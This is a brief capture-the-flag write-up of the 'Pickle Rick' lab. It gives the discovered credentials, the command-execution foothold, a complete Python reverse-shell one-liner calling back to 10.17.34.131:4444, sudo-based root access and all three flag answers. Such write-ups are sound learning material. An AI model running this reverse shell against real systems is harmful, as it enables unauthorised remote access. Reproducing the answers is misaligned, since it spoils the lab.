Writeups

Pickle Rick

Username: R1ckRul3s
Robots.txt: Wubbalubbadubdub

• Scanned nmap and stored in ../initial.nmap
• Found /login.php and used the above creds and got the login
• Commands could be executed through the portal and first Pickle was found mr. meeseek hair

• Found python installed there and tried establishing a revershell using python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.34.131",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

• Established a revershell and got into the /bin/sh

• Found a rick named user and found the second ingredient inside the folder to be 1 jerry tear

• Looked at the commands that we can run as sudo to get the root privileges and found that we can run ALL commands thus we are already enjoying the ROOT privileges.
• Had a look at the files in the /root folder and found 3rd.txt which was possibly the third ingredient.
• Looked at the /root/3rd.txt using the root privileges and found the third ingredient to be fleeb juice.